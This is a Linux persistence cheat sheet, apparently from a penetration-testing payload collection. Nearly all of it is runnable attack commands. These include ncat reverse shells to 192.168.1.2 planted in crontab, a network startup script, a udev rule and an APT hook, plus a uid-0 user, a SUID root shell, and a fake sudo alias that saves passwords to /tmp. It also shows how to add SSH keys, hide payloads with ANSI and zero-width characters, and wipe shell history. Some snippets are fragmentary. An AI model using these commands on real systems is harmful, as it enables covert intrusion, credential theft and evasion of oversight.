Basic reverse shell
ncat --udp -lvp 4242
ncat --sctp -lvp 4242
ncat --tcp -lvp 4242
Add a root user
sudo useradd -ou 0 -g 0 john
sudo passwd john
echo "linuxpassword" | passwd --stdin john
Suid Binary
TMPDIR2="/var/tmp"
echo 'int main(void){setresuid(0, 0, 0);system("/bin/sh");}' > $TMPDIR2/croissant.c
gcc $TMPDIR2/croissant.c -o $TMPDIR2/croissant 2>/dev/null
rm $TMPDIR2/croissant.c
chown root:root $TMPDIR2/croissant
chmod 4777 $TMPDIR2/croissant
Crontab - Reverse shell
(crontab -l ; echo "@reboot sleep 200 && ncat 192.168.1.2 4242 -e /bin/bash")|crontab 2> /dev/null

if [ -f ~/.zshrc ]; then
cat /tmp/$TMPNAME2 >> ~/.zshrc

rm /tmp/$TMPNAME2
or add the following line inside its .bashrc file.
$ chmod u+x ~/.hidden/fakesudo
$ echo "alias sudo=~/.hidden/fakesudo" >> ~/.bashrc
and create the fakesudo
script.
read -sp "[sudo] password for $USER: " sudopass

echo "Sorry, try again."
echo $sudopass >> /tmp/pass.txt

Backdooring a startup service
RSHELL="ncat $LMTHD $LHOST $LPORT -e \"/bin/bash -c id;/bin/bash\" 2>/dev/null"
sed -i -e "4i \$RSHELL" /etc/network/if-up.d/upstart
Backdooring a user startup file
Linux, write a file in ~/.config/autostart/NAME_OF_FILE.desktop
In : ~/.config/autostart/*.desktop
[Desktop Entry]
Type=Application
Name=Welcome
Exec=/var/lib/gnome-welcome-tour
AutostartCondition=unless-exists ~/.cache/gnome-getting-started-docs/seen-getting-started-guide
OnlyShowIn=GNOME;
X-GNOME-Autostart-enabled=false
Backdooring a driver
echo "ACTION==\"add\",ENV{DEVTYPE}==\"usb_device\",SUBSYSTEM==\"usb\",RUN+=\"$RSHELL\"" | tee /etc/udev/rules.d/71-vbox-kernel-drivers.rules > /dev/null
Backdooring the APT
If you can create a file on the apt.conf.d directory with: APT::Update::Pre-Invoke {"CMD"};
Next time "apt-get update" is done, your CMD will be executed!
echo 'APT::Update::Pre-Invoke {"nohup ncat -lvp 1234 -e /bin/bash 2> /dev/null &"};' > /etc/apt/apt.conf.d/42backdoor
Backdooring the SSH
Add an ssh key into the ~/.ssh
folder.
ssh-keygen
- write the content of
~/.ssh/id_rsa.pub
into~/.ssh/authorized_keys
- set the right permission, 700 for ~/.ssh and 600 for authorized_keys
Tips
Hide the payload with ANSI chars, the following chars will clear the terminal when using cat to display the content of your payload.
#[2J[2J[2J[2H[2A# Do not remove. Generated from /etc/issue.conf by configure.
Hide in plain sight using zero width spaces in filename.
touch $(echo -n 'index\u200D.php') index.php
Clear the last line of the history.
history -d $(history | tail -2 | awk '{print $1}') 2> /dev/null
Clear history
[SPACE] ANY COMMAND
or
export HISTSIZE=0
export HISTFILESIZE=0
unset HISTFILE; CTRL-D
or
kill -9 $$
or
echo "" > ~/.bash_history
or
rm ~/.bash_history -rf
or
history -c
or
ln /dev/null ~/.bash_history -sf
The following directories are temporary and usually writeable
/var/tmp/
/tmp/
/dev/shm/
